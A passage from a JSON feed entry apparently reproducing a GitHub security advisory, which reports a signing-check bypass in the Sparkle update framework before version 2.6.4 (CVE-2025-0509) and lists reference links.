            "content_html": "<p>A security issue was found in Sparkle before version 2.6.4. An attacker can replace an existing signed update with another payload, bypassing Sparkle’s (Ed)DSA signing checks.</p>\n<h3 id=\"references\">References</h3>\n<ul>\n<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2025-0509\">https://nvd.nist.gov/vuln/detail/CVE-2025-0509</a></li>\n<li><a href=\"https://github.com/sparkle-project/Sparkle/pull/2550\">https://github.com/sparkle-project/Sparkle/pull/2550</a></li>\n<li><a href=\"https://security.netapp.com/advisory/ntap-20250124-0008\">https://security.netapp.com/advisory/ntap-20250124-0008</a></li>\n<li><a href=\"https://sparkle-project.org/documentation/security-and-reliability\">https://sparkle-project.org/documentation/security-and-reliability</a></li>\n<li><a href=\"https://github.com/advisories/GHSA-wc9m-r3v6-9p5h\">https://github.com/advisories/GHSA-wc9m-r3v6-9p5h</a></li>\n</ul>\n",
            "url": "https://github.com/advisories/GHSA-wc9m-r3v6-9p5h",
            "title": "[github.com/sparkle-project/Sparkle] Sparkle Signing Checks Bypass",
            "date_modified": "2025-02-04T23:18:59.000Z",
            "date_published": "2025-02-04T21:32:28.000Z",
            "author": {
                "name": "GitHub",
                "url": "https://github.com/advisories/GHSA-wc9m-r3v6-9p5h"
            },
            "tags": [
                "severity"
            ]
        }
    ]
}